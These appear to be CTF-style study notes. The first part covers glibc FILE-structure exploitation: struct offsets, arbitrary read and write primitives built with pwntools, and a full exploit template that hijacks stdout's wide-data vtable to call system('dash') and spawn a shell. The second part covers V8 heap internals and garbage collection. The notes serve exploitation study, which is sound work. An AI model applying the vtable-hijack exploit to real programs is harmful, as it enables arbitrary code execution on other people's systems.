/* 0x0098 | 0x0008 */ struct _IO_codecvt *_codecvt;
/* 0x00a0 | 0x0008 */ struct _IO_wide_data *_wide_data;
/* 0x00a8 | 0x0008 */ struct _IO_FILE *_freeres_list;
/* 0x00b0 | 0x0008 */ void *_freeres_buf;
/* 0x00b8 | 0x0008 */ size_t __pad5;
/* 0x00c0 | 0x0004 */ int _mode;
/* 0x00c4 | 0x0014 */ char _unused2[20];
/* total size (bytes): 216 */
}
_flags
https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libio.h#L66
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
struct _IO_FILE_plus
https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L325
typedef struct _IO_FILE FILE;
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
_IO_FILE_plus
field offsets
gef> ptype /ox struct _IO_FILE_plus
/* offset | size */ type = struct _IO_FILE_plus {
/* 0x0000 | 0x00d8 */ FILE file;
/* 0x00d8 | 0x0008 */ const struct _IO_jump_t *vtable;
/* total size (bytes): 224 */
}
Usage on glibc stdio
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
struct _IO_jump_t
- https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L294
- https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/vtables.c#L91
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
_IO_jump_t
field offsets
gef> ptype /ox struct _IO_jump_t
/* offset | size */ type = struct _IO_jump_t {
/* 0x0000 | 0x0008 */ size_t __dummy;
/* 0x0008 | 0x0008 */ size_t __dummy2;
/* 0x0010 | 0x0008 */ _IO_finish_t __finish;
/* 0x0018 | 0x0008 */ _IO_overflow_t __overflow;
/* 0x0020 | 0x0008 */ _IO_underflow_t __underflow;
/* 0x0028 | 0x0008 */ _IO_underflow_t __uflow;
/* 0x0030 | 0x0008 */ _IO_pbackfail_t __pbackfail;
/* 0x0038 | 0x0008 */ _IO_xsputn_t __xsputn;
/* 0x0040 | 0x0008 */ _IO_xsgetn_t __xsgetn;
/* 0x0048 | 0x0008 */ _IO_seekoff_t __seekoff;
/* 0x0050 | 0x0008 */ _IO_seekpos_t __seekpos;
/* 0x0058 | 0x0008 */ _IO_setbuf_t __setbuf;
/* 0x0060 | 0x0008 */ _IO_sync_t __sync;
/* 0x0068 | 0x0008 */ _IO_doallocate_t __doallocate;
/* 0x0070 | 0x0008 */ _IO_read_t __read;
/* 0x0078 | 0x0008 */ _IO_write_t __write;
/* 0x0080 | 0x0008 */ _IO_seek_t __seek;
/* 0x0088 | 0x0008 */ _IO_close_t __close;
/* 0x0090 | 0x0008 */ _IO_stat_t __stat;
/* 0x0098 | 0x0008 */ _IO_showmanyc_t __showmanyc;
/* 0x00a0 | 0x0008 */ _IO_imbue_t __imbue;
/* total size (bytes): 168 */
}
List of vtables
https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L509
note
- glibc stdio uses
_IO_file_jumps
vtable _wide_data
struct uses_IO_wfile_jumps
vtable
extern const struct _IO_jump_t __io_vtables[] attribute_hidden;
#define _IO_str_jumps (__io_vtables[IO_STR_JUMPS])
#define _IO_wstr_jumps (__io_vtables[IO_WSTR_JUMPS])
#define _IO_file_jumps (__io_vtables[IO_FILE_JUMPS])
#define _IO_file_jumps_mmap (__io_vtables[IO_FILE_JUMPS_MMAP])
#define _IO_file_jumps_maybe_mmap (__io_vtables[IO_FILE_JUMPS_MAYBE_MMAP])
#define _IO_wfile_jumps (__io_vtables[IO_WFILE_JUMPS])
#define _IO_wfile_jumps_mmap (__io_vtables[IO_WFILE_JUMPS_MMAP])
#define _IO_wfile_jumps_maybe_mmap (__io_vtables[IO_WFILE_JUMPS_MAYBE_MMAP])
#define _IO_cookie_jumps (__io_vtables[IO_COOKIE_JUMPS])
#define _IO_proc_jumps (__io_vtables[IO_PROC_JUMPS])
#define _IO_mem_jumps (__io_vtables[IO_MEM_JUMPS])
#define _IO_wmem_jumps (__io_vtables[IO_WMEM_JUMPS])
#define _IO_printf_buffer_as_file_jumps (__io_vtables[IO_PRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_wprintf_buffer_as_file_jumps (__io_vtables[IO_WPRINTF_BUFFER_AS_FILE_JUMPS])
#define _IO_old_file_jumps (__io_vtables[IO_OLD_FILE_JUMPS])
#define _IO_old_proc_jumps (__io_vtables[IO_OLD_PROC_JUMPS])
#define _IO_old_cookie_jumps (__io_vtables[IO_OLD_COOKIED_JUMPS])
Arbitrary Address Write
- Human language:
- the ability to write anywhere on the memory
- read file content then write to memory (
fread
) - reading data into memory
C
language:read(fd, buf, size);
fread(buf, size, nmemb, fp)
Requirements:
_flags & _IO_NO_READS (0x4) == 0
1_IO_read_ptr == _IO_read_end
_IO_buf_base
is set to the starting address to write into_IO_buf_end
is set to the end address (starting address + number of bytes to be written into)_IO_fileno
is set to the source of data file descriptor , usually0
(STDIN_FILENO
)
Example
Example using pwntools
to setup for writing nb
number of bytes into address target_address
from pwn import *
target_address = 0x1337
nb = 0x100
fs = FileStructure()
# flags taken from unbuffered _IO_2_1_stdin_, but most importantly 0xfbad208b & _IO_NO_READS == 0
fs.flags = 0xfbad208b
fs._IO_buf_base = target_address
fs._IO_buf_end = target_address + nb
fs._fileno = 1 # STDOUT_FILENO
payload = bytes(fs) # payload to overwrite the whole field of _IO_FILE_plus struct
payload = fs.struntil("_fileno") # payload to overwrite until _fileno
# Alternative way to automatically set the required fields and .struntil("_fileno")
payload = FileStructure().read(addr=target_address, size=nb)
Default for fopen(filepath, "r")
or achievable by _flag & (~_IO_NO_READS)
Arbitrary Address Read
- Human language:
- the ability to read any data from memory (leak memory)
- read from memory then write to file (
fwrite
) - reading data from memory
C
language:write(fd, buf, size);
fwrite(buf, size, nmemb, fp)
Requirements:
_flags & _IO_NO_WRITES (0x8) == 0
2_flags & _IO_UNBUFFERED (0x2) == 1
(not necessary, but desirable in most cases)_IO_read_end == _IO_write_base
_IO_write_base
is set to the starting address to read from_IO_write_ptr
is set to the end address (starting address + number of bytes to be read from)_IO_fileno
is set to the file descriptor where the read data is written into, usually1
(STDOUT_FILENO
)
Example
Example using pwntools
to setup for reading nb
number of bytes from address target_address
from pwn import *
target_address = 0x1337
nb = 0x100
fs = FileStructure()
# flags taken from unbuffered _IO_2_1_stdout_, but most importantly 0xfbad2887 & _IO_NO_WRITES == 0
fs.flags = 0xfbad2887
fs._IO_write_base = target_address
fs._IO_write_ptr = target_address + nb
fs._fileno = 1 # STDOUT_FILENO
payload = bytes(fs) # payload to overwrite the whole field of _IO_FILE_plus struct
payload = fs.struntil("_fileno") # payload to overwrite until _fileno
# Alternative way to automatically set the required fields and .struntil("_fileno")
payload = FileStructure().write(addr=target_address, size=nb) #
Default for fopen(filepath, "w")
or achievable by _flag & (~_IO_NO_WRITES)
(_IO_NO_WRITES = 0x8
)
Overwriting vtable
Exploit
Abusing fwrite
& glibc _IO_2_1_stdout_
fwrite
calls _IO_sputn
which is the function at offset 0x38
inside the vtable.
Hence, when overwriting the vtable field to point to our fake vtable, for example
at address 0x13370000
, the target functon needs to be located at 0x13370038
.
// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L177
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/libioP.h#L380
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/iofwrite.c#L30
size_t
_IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp)
{
size_t request = size * count;
size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request); // calls _IO_sputn
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if (written == request || written == EOF)
return count;
else
return written / size;
}
Cross check using disassembler
gef> disass fwrite
Dump of assembler code for function __GI__IO_fwrite:
[snip]
0x00007ffff7e12f4d <+45>: mov rbx,rcx # rcx (the 4th argument in x64 calling convention) is FILE *fp
[snip]
0x00007ffff7e12fa3 <+131>: mov r15,QWORD PTR [rbx+0xd8] # 0xd8 is offset to the vtable field
[snip]
0x00007ffff7e12fd3 <+179>: call QWORD PTR [r15+0x38] # calls the function at offset 0x38 inside the vtable, which is __xsputn
[snip]
gef> p (char *)&_IO_2_1_stdout_ + 0xd8
$1 = 0x7ffff7fad858 <_IO_2_1_stdout_+216> ""
gef> p &_IO_2_1_stdout_.vtable
$2 = (const struct _IO_jump_t **) 0x7ffff7fad858 <_IO_2_1_stdout_+216>
gef> tele _IO_2_1_stdout_.vtable 8
0x7ffff7fa9600|+0x0000|+000: 0x0000000000000000 <- $rbp
0x7ffff7fa9608|+0x0008|+001: 0x0000000000000000
0x7ffff7fa9610|+0x0010|+002: 0x00007ffff7e1eff0 <_IO_new_file_finish> -> 0xfd894855fa1e0ff3
0x7ffff7fa9618|+0x0018|+003: 0x00007ffff7e1fdc0 <_IO_new_file_overflow> -> 0x48555441fa1e0ff3
0x7ffff7fa9620|+0x0020|+004: 0x00007ffff7e1fab0 <_IO_new_file_underflow> -> 0x10a8078bfa1e0ff3
0x7ffff7fa9628|+0x0028|+005: 0x00007ffff7e20d60 <__GI__IO_default_uflow> -> 0x158d4855fa1e0ff3
0x7ffff7fa9630|+0x0030|+006: 0x00007ffff7e22280 <__GI__IO_default_pbackfail> -> 0x56415741fa1e0ff3
0x7ffff7fa9638|+0x0038|+007: 0x00007ffff7e1e600 <_IO_new_file_xsputn> -> 0x56415741fa1e0ff3
Since glibc 2.24, there is a vtable pointer validation check.
This validation prevents us from modifying the vtable pointer to point outside
the vtables region. Fortunately, there is no validation for _wide_data
vtable
pointer, _wide_vtable
.
For this _wide_vtable
to be used, we would need to get fwrite
to call _IO_wfile_overflow
instead of __xsputn
which would then call _IO_wdoallocbuf
and finally a function inside _wide_vtable
.
struct _IO_FILE
{
// snip for brevity
/* offset | size */
/* 0x00a0 | 0x0008 */ struct _IO_wide_data *_wide_data;
// snip for brevity
};
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
_IO_wide_data
field offsets
gef> ptype /ox struct _IO_wide_data
/* offset | size */ type = struct _IO_wide_data {
/* 0x0000 | 0x0008 */ wchar_t *_IO_read_ptr;
/* 0x0008 | 0x0008 */ wchar_t *_IO_read_end;
/* 0x0010 | 0x0008 */ wchar_t *_IO_read_base;
/* 0x0018 | 0x0008 */ wchar_t *_IO_write_base;
/* 0x0020 | 0x0008 */ wchar_t *_IO_write_ptr;
/* 0x0028 | 0x0008 */ wchar_t *_IO_write_end;
/* 0x0030 | 0x0008 */ wchar_t *_IO_buf_base;
/* 0x0038 | 0x0008 */ wchar_t *_IO_buf_end;
/* 0x0040 | 0x0008 */ wchar_t *_IO_save_base;
/* 0x0048 | 0x0008 */ wchar_t *_IO_backup_base;
/* 0x0050 | 0x0008 */ wchar_t *_IO_save_end;
/* 0x0058 | 0x0008 */ __mbstate_t _IO_state;
/* 0x0060 | 0x0008 */ __mbstate_t _IO_last_state;
/* 0x0068 | 0x0070 */ struct _IO_codecvt {
/* 0x0068 | 0x0038 */ _IO_iconv_t __cd_in;
/* 0x00a0 | 0x0038 */ _IO_iconv_t __cd_out;
/* total size (bytes): 112 */
} _codecvt;
/* 0x00d8 | 0x0004 */ wchar_t _shortbuf[1];
/* XXX 4-byte hole */
/* 0x00e0 | 0x0008 */ const struct _IO_jump_t *_wide_vtable;
/* total size (bytes): 232 */
}
To successfuly get _IO_wfile_overflow
to use our fake wide vtable, we need to
satisfy several conditions.
- As seen from the code snippet below,
fp->_wide_data->_IO_write_base
needs to beNULL
- Inside
_IO_wdoallocbuf
, there is a check similar like this:if (f->_wide_data->_IO_buf_base) { _IO_wfile_doallocate (f); // wide vtable function at offset 0x68 }
If we overwrite _wide_vtable+0x68
to be the address of system()
, we could
see that it will invoke system like so, system(f)
, where f
is the file struct
that we corrupted. In other words, the argument passed to system()
would be
the value of the _flags
field. Through trial-and-error, I found out that
setting _flags = 0x68736162
, which is just bash
does not work as throughout
the process, this value is changed and when it reaches vtable function invocation,
it is no longer system("bash")
. The working solution is to call system("dash")
.
// https://elixir.bootlin.com/glibc/glibc-2.38/source/libio/wfileops.c#L406
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 // shouldn't be an issue since the second condition can be easily satisfied and needs to be satisfied
|| f->_wide_data->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
}
// snip for brevity
}
// snip for brevity
}
gef> disass _IO_wfile_overflow
[snip]
0x00007ffff7e195f0 <+608>: call 0x7ffff7e16b70 <__GI__IO_wdoallocbuf>
[snip]
gef> disass _IO_wdoallocbuf
Dump of assembler code for function __GI__IO_wdoallocbuf:
0x00007ffff7e16b70 <+0>: endbr64
0x00007ffff7e16b74 <+4>: mov rax,QWORD PTR [rdi+0xa0] # rax = fp->_wide_data
0x00007ffff7e16b7b <+11>: cmp QWORD PTR [rax+0x30],0x0 # checks if fp->_wide_data->_IO_buf_base is NULL
0x00007ffff7e16b80 <+16>: je 0x7ffff7e16b88 <__GI__IO_wdoallocbuf+24>
0x00007ffff7e16b82 <+18>: ret
0x00007ffff7e16b83 <+19>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7e16b88 <+24>: push r12
0x00007ffff7e16b8a <+26>: push rbp
0x00007ffff7e16b8b <+27>: push rbx
0x00007ffff7e16b8c <+28>: mov rbx,rdi
0x00007ffff7e16b8f <+31>: test BYTE PTR [rdi],0x2
0x00007ffff7e16b92 <+34>: jne 0x7ffff7e16c08 <__GI__IO_wdoallocbuf+152>
0x00007ffff7e16b94 <+36>: mov rax,QWORD PTR [rax+0xe0] # rax = fp->_wide_data->_wide_vtable
0x00007ffff7e16b9b <+43>: call QWORD PTR [rax+0x68] # calls function at offset 0x68 inside the _wide_vtable (of kind __doallocate, specifically _IO_wfile_doallocate since we are dealing with wide data)
warning
Be careful when overwriting the _IO_lock_t *_lock
field.
The value needs to be a writable address that has NULL value
Example
Here is an example using pwntools
from pwn import *
elf = context.binary = ELF("/path/to/binary", checksec=False)
libc = elf.libc
def start(argv=[], *a, **kw):
nc = "nc localhost 1337"
nc = nc.split()
host = args.HOST or nc[1]
port = int(args.PORT or nc[2])
if args.REMOTE:
return remote(host, port)
else:
args_ = [elf.path] + argv
if args.NA: # NOASLR
args_ = ["setarch", "-R"] + args_
return process(args_, env=env, *a, **kw)
def aaw(addr, data):
# Helper function to perform arbitrary address write
pass
def aar(addr, data):
# Helper function to perform arbitrary address write
pass
env = {}
io = start()
fake_wide_vtable = elf.bss(0x400)
# Create overlapping fake _IO_wide_data struct and fake _wide_vtable @ bss+0x400
payload = b""
# doing this ensures both fp->_wide_data->_IO_write_base and
# fp->_wide_data->_IO_buf_base is set to NULL
payload = payload.ljust(0x68, b"\x00")
payload += p64(libc.sym["system"]) # _wide_vtable+0x68, which is also fp->_wide_data->_codecvt
payload = payload.ljust(0xe0, b"\x00")
payload += p64(fake_wide_vtable) # fp->_wide_data->_wide_vtable
aaw(fake_wide_vtable, payload)
# Overwrite _IO_2_1_stdout_ vtable to call _IO_wfile_overflow
fs = FileStructure()
fs.flags = u32(b"dash")
fs.fileno = 1
fs._lock = libc.sym["_IO_stdfile_1_lock"]
fs._wide_data = fake_wide_vtable
# 0x38 is the function offset inside vtable
# 0x18 is __overflow offset for _IO_jump_t
fs.vtable = libc.sym["_IO_wfile_jumps"] - 0x38 + 0x18
payload = bytes(fs)
aaw(libc.sym["_IO_2_1_stdout_"], payload)
io.interactive()
References
- https://pwn.college/software-exploitation/file-struct-exploits
- https://github.com/un1c0rn-the-pwnie/FSOPAgain
- https://faraz.faith/2020-10-13-FSOP-lazynote/
- https://niftic.ca/posts/fsop/#known-exploitation-techniques
- https://docs.pwntools.com/en/stable/filepointer.html#module-pwnlib.filepointer
V8 Internals 101
Keywords
V8To follow along, it is recommended to build d8
with debug mode. Steps on how
to build d8
can be found here
Pointer Compression
In V8, pointer to an object is tagged with 1
on the least significant bit (LSB).
This is done to distinguish between immediate values and pointer. Small immediate
integer (SMI) are stored in 32-bit memory space with the LSB always set to 0
.
The pointer itself is 32-bit wide which serves as an offset from the isolate_root
.
This is how sandboxing works in V8 heap. V8 would sum up isolate_root
and the
32-bit offset value to get the actual memory address in the process.
In the example below, we could see that the elements
pointer is 0x2932000006cd
.
The isolate_root
is 0x293200000000
, while the lower 32-bit, 0x000006cd
is
the offset and is the only value stored inside the heap.
note
Remember to subtract the pointer value by 1 when inspecting inside debugger
$ ./d8 --allow-natives-syntax
d8> let arr = [];
undefined
d8> %DebugPrint(arr);
DebugPrint: 0x2932001c9411: [JSArray]
- map: 0x2932000ce6b1 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2932000ce925 <JSArray[0]>
- elements: 0x2932000006cd <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 0
- properties: 0x2932000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x293200000d41: [String] in ReadOnlySpace: #length: 0x29320030f6f9 <AccessorInfo name= 0x293200000d41 <String[6]: #length>, data= 0x293200000061 <undefined>> (const accessor descriptor), location: descriptor
}
[snip]
Further details on pointer compression can be found on this V8 blog.
JSArray
First, let's take a look at how arrays are structured inside memory using GDB for this snippet of code.
let arr = [1.1, 2.2, 3.3, 4.4]
gdb -ex 'run' --args './d8 --allow-natives-syntax --shell ./script.js'
--allow-natives-syntax
: allow us to invoke built-in function, e.g.,%DebugPrint
--shell
: drop into interactive mode after executingscript.js
d8> %DebugPrint(arr)
DebugPrint: 0x3349001c94ad: [JSArray]
- map: 0x3349000cefb1 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3349000ce925 <JSArray[0]>
- elements: 0x3349001c9485 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x3349000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x334900000d41: [String] in ReadOnlySpace: #length: 0x33490030f6f9 <AccessorInfo name= 0x334900000d41 <String[6]: #length>, data= 0x334900000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x3349001c9485 <FixedDoubleArray[4]> {
0: 1.1
1: 2.2
2: 3.3
3: 4.4
}
Inspecting the object directly in debugger, we could see that there are some
familiar values 0xcefb1
, 0x6cd
, 0x1c9485
gef> tele 0x4f6001c94ad-0x1
0x3349001c94ac|+0x0000|+000: 0x000006cd000cefb1
0x3349001c94b4|+0x0008|+001: 0x00000008001c9485
0x3349001c94bc|+0x0010|+002: 0x0000030600000b51
0x3349001c94c4|+0x0018|+003: 0x0000000000000000
0x3349001c94cc|+0x0020|+004: 0x0000006100000100
0x3349001c94d4|+0x0028|+005: 0x0000006100000061
0x3349001c94dc|+0x0030|+006: 0x0000006100000061
0x3349001c94e4|+0x0038|+007: 0x0000006100000061
0x3349001c94ec|+0x0040|+008: 0x0000006100000061
0x3349001c94f4|+0x0048|+009: 0x0000006100000061
Recall that the upper 32-bit, 0x3349
, is not present as it is the isolate_root
value and is stored somewhere else in the memory. Next, remember that SMI is
stored shifted to the left by 1. The length of our array is 4 and so the value
in memory would be 4 << 1 = 0x8
which could be found at 0x3349001c94b8
.
offset | value | field |
---|---|---|
0x00 | 0x000cefb1 | map (pointer) |
0x04 | 0x000006cd | properties (pointer) |
0x08 | 0x001c9485 | elements (pointer) |
0x0c | 0x00000008 | length (SMI) |
Inspecting the array elements via d8
and debugger:
d8> %DebugPrintPtr(0x3349001c9485)
DebugPrint: 0x3349001c9485: [FixedDoubleArray]
- map: 0x334900000851 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
- length: 4
0: 1.1
1: 2.2
2: 3.3
3: 4.4
gef> tele 0x3349001c9485-0x1
0x3349001c9484|+0x0000|+000: 0x0000000800000851
0x3349001c948c|+0x0008|+001: 0x3ff199999999999a
0x3349001c9494|+0x0010|+002: 0x400199999999999a
0x3349001c949c|+0x0018|+003: 0x400a666666666666
0x3349001c94a4|+0x0020|+004: 0x401199999999999a
0x3349001c94ac|+0x0028|+005: 0x000006cd000cefb1
0x3349001c94b4|+0x0030|+006: 0x00000008001c9485
0x3349001c94bc|+0x0038|+007: 0x0000030600000b51
0x3349001c94c4|+0x0040|+008: 0x0000000000000000
0x3349001c94cc|+0x0048|+009: 0x0000006100000100
Again we could see familiar values like 0x851
for map
and 0x8
for length
.
The 4 64-bit values at offset 0x8
is actually 1.1
, 2.2
, 3.3
, and 4.4
floating numbers in hexadecimal format.
gef> p/x 1.1
$1 = 0x3ff199999999999a
gef> p/x 2.2
$2 = 0x400199999999999a
gef> p/x 3.3
$3 = 0x400a666666666666
gef> p/x 4.4
$4 = 0x401199999999999a
At offset 0x28
, we could see that it is actually the JSArray
object that
we inspected earlier.
HeapNumber
Now, let's see when some of the elements changes type to Object
and Integer
.
The elements
are reallocated and the floating numbers are converted into objects.
d8> arr[0] = {}
d8> arr[1] = 1
d8> %DebugPrint(arr)
DebugPrint: 0x3349001c94ad: [JSArray]
- map: 0x3349000cf031 <Map[16](PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x3349000ce925 <JSArray[0]>
- elements: 0x3349001ca1b9 <FixedArray[4]> [PACKED_ELEMENTS]
- length: 4
- properties: 0x3349000006cd <FixedArray[0]>
- All own properties (excluding elements): {
0x334900000d41: [String] in ReadOnlySpace: #length: 0x33490030f6f9 <AccessorInfo name= 0x334900000d41 <String[6]: #length>, data= 0x334900000061 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x3349001ca1b9 <FixedArray[4]> {
0: 0x3349001ca19d <Object map = 0x3349000c4945>
1: 1
2: 0x3349001ca1dd <HeapNumber 3.3>
3: 0x3349001ca1d1 <HeapNumber 4.4>
}
d8> %DebugPrintPtr(0x3349001ca1dd)
DebugPrint: 0x3349001ca1dd: [HeapNumber]
- map: 0x3349000007b1 <Map[12](HEAP_NUMBER_TYPE)>
- value: 3.3
Looking via debugger, this is how the new elements
and HeapNumber
look like
inside memory.
gef> tele 0x3349001ca1b9-0x1
0x3349001ca1b8|+0x0000|+000: 0x0000000800000565
0x3349001ca1c0|+0x0008|+001: 0x00000002001ca19d
0x3349001ca1c8|+0x0010|+002: 0x001ca1d1001ca1dd
gef> tele 0x3349001ca1dd-0x1
0x3349001ca1dc|+0x0000|+000: 0x66666666000007b1
0x3349001ca1e4|+0x0008|+001: 0x000007b1400a6666
0x3349001ca1ec|+0x0010|+002: 0x400199999999999a
0x3349001ca1f4|+0x0018|+003: 0x9999999a000007b1
offset | value | field |
---|---|---|
0x00 | 0x000cefb1 | map (pointer) |
0x04 | 0x400a666666666666 | value (3.3) |
JSObject
Read this: https://jhalon.github.io/chrome-browser-exploitation-1/#object-representation
Elements Kinds
For arrays of kind PACKED_SMI_ELEMENTS
, PACKED_DOUBLE_ELEMENTS
,
and PACKED_ELEMENTS
, the elements is always allocated first which means that
it can be found on lower memory address than the JSArray
object itself.
object.
let packed_smi_arr_1 = [1]
packed_smi_arr_1.push(2.2) // now this array becomes PACKED_DOUBLE_ELEMENTS kind
packed_smi_arr_1.push({}) // now this array becomes PACKED_ELEMENTS kind
let packed_smi_arr_2 = [1]
packed_smi_arr_2.push({}) // now this array becomes PACKED_ELEMENTS kind
packed_smi_arr_2.push(2.2) // stays on PACKED_ELEMENTS kind
let packed_double_arr = [1, 2.2]
let packed_arr_1 = [{}]
let packed_arr_2 = [0, {}]
There are also other kind of arrays, i.e., HOLEY_SMI_ELEMENTS
, HOLEY_DOUBLE_ELEMENTS
,
and HOLEY_ELEMENTS
. This are arrays that has the_hole_value
as the element.
The JSArray
object is located at lower memory address than the elements.
let arr = Array(4) // arr is HOLEY_SMI_ELEMENTS kind
arr[0] = 1.1 // arr transitions to HOLEY_DOUBLE_ELEMENTS kind
arr[1] = {} // arr transitions to HOLEY_ELEMENTS kind
let foo = [1, 2.2] // foo is PACKED_DOUBLE_ELEMENTS kind
delete foo[1] // foo transitions to HOLEY_DOUBLE_ELEMENTS
Element kinds transition can be read on this blog
Garbage Collection
./d8 --trace-gc --expose-gc
d8> gc(); // major GC (mark and sweep)
d8> gc({type:'minor'}); // minor GC (scavenge)
Major GC
- Covers the whole heap (
ReadOnlySpace
,OldSpace
,NewSpace
, etc.(?)) - Marking is done from roots (typically variable on the most outer scope)
var b = [{foo:'bar'}, 1.1, {leet:'1337'}]
// b, {foo:'bar'}, and {leet:'1337'} lives in NewSpace
// HeapNumber(1.1) lives in OldSpace
gc();
// b, {foo:'bar'}, and {leet:'1337'} moves to OldSpace
// HeapNumber(1.1) lives in OldSpace
var b = [{foo:'bar'}, 1.1, {leet:'1337'}]
delete b[0];
// b and {leet:'1337'} lives in NewSpace
// {foo:'bar'} still lives in NewSpace
// HeapNumber(1.1) lives in OldSpace
gc();
// b and {leet:'1337'} moves to OldSpace
// {foo:'bar'} is garbage collected
// HeapNumber(1.1) still lives in OldSpace
delete b[2];
delete b[1];
// {leet:'1337'} still lives in OldSpace
// HeapNumber(1.1) still lives in OldSpace
gc();
// {leet:'1337'} is garbage collected
// HeapNumber(1.1) still lives in OldSpace
Minor GC
- Only covers the
NewSpace
, specificallyFrom-Space
/Nursery
, which is where objects are allocated to - First minor GC relocate reachable object from
From-Space/Nursery
toTo-Space/Intermediate
, then swap the labels betweenFrom-Space/Nursery
andTo-Space/Intermediate
- Objects allocated after the first minor GC (let these objects be
y
) lives in the same space together with those that survives the first minor GC (let these objects bex
) - The next minor GC,
x
objects that are still reachable are reallocated toOldSpace
, and reachabley
objects move toTo-Space/Intermediate
, then swap labels again - For subsequent minor GC, the same pattern follows
var b = [{foo:'bar'}, 1.1, {leet:'1337'}]
delete b[0];
// b and {leet:'1337'} lives in NewSpace
// {foo:'bar'} still lives in NewSpace
// HeapNumber(1.1) lives in OldSpace
gc({type:'minor'});
var c = {idk:'new', kdi:'wen'}
// b and {leet:'1337'} moves to To-Space (NewSpace)
// {foo:'bar'} is garbage collected
